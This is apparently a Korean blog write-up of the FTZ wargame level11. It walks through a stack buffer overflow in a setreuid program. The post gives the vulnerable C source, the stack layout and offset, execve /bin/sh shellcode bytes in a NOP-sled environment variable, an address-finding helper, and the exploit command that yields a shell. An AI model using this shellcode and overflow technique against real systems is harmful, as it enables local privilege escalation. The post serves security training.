FTZ level11
-hint-
1 2 3 4 5 6 7 8 9 10 | #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ){ char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } | cs |
-gcc 2.96
(이 버전 이상의 gcc 컴파일러에서는 dummy값 추가)
높은주소 ↓방향으로 스택쌓임
----------
ret 4byte
----------
sfp (saved frame pointer) 4byte
----------
dummy1 buffer의 크기가 9byte 이상이면 8byte로 일정한 크기
----------
dummy2 buffer의 시작주소와 dummy1의 시작주소 사이 거리가 16의배수가 되게 만든다.
---------- (거리는 256byte, 16의 배수이므로 dummy2의 크기는 0)
str[256] -buffer
----------
낮은주소
str에 버퍼 256byte 선언
dummy 8byte + sfp 4byte + ret의 시작주소까지 268byte
*참고
25byte 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80
2번째걸씀
export 명령어로 환경변수 shellcode 선언하고 25byte 쉘코드입력
export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
* "\x90"=NOP sled(nop 썰매)
NOP은 CPU가 아무일도 하지 않는다는 명령어이다
환경변수에 바로 쉘코드를 올리면 프로그램에서 환경변수를 참조할때
항상 쉘코드의 시작주소에서 시작하지는 않기 때문에
아무곳에서나 참조하더라도 NOP을 만나면 그대로 쉘코드를 만나 실행하게된다
-환경변수 주소를 찾는 소스
1 2 3 4 5 6 7 8 9 10 | #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ char *addr; addr=getenv(argv[1]); printf("The address of %s is %p\n",argv[1],addr); return 0; } | cs |
gcc로 컴파일 한 뒤 실행한다
./get shellcode
The address of shellcode is 0xbffffc1e
환경변수 shellcode의 주소값이나온다
공격코드를 짜보면
./attackme `python -c 'print "A"*268 + "\x1e\xfc\xff\xbf"'`
(shellcode의 주소)
A로 str[256]+dummy[8]+sfp[4]=268byte를 모두 채운 후 ret자리에 shellcode의 주소를 넣게 된다
스크립트를 실행하면!
sh-2.05b$
성공
level12의 패스워드는
이 문제처럼 버퍼의 크기가 큰 경우 환경변수를 쓰지 않고 버퍼에 직접 쉘코드를
입력하고 ret주소를 버퍼의 시작주소로 바꾸는 방법도 있다.
'System > FTZ' 카테고리의 다른 글
FTZ level13 (0) | 2015.03.17 |
---|---|
FTZ level12 (0) | 2015.03.17 |
FTZ level10 (0) | 2015.03.17 |
FTZ level9 (0) | 2015.03.17 |
FTZ level8 (0) | 2015.03.17 |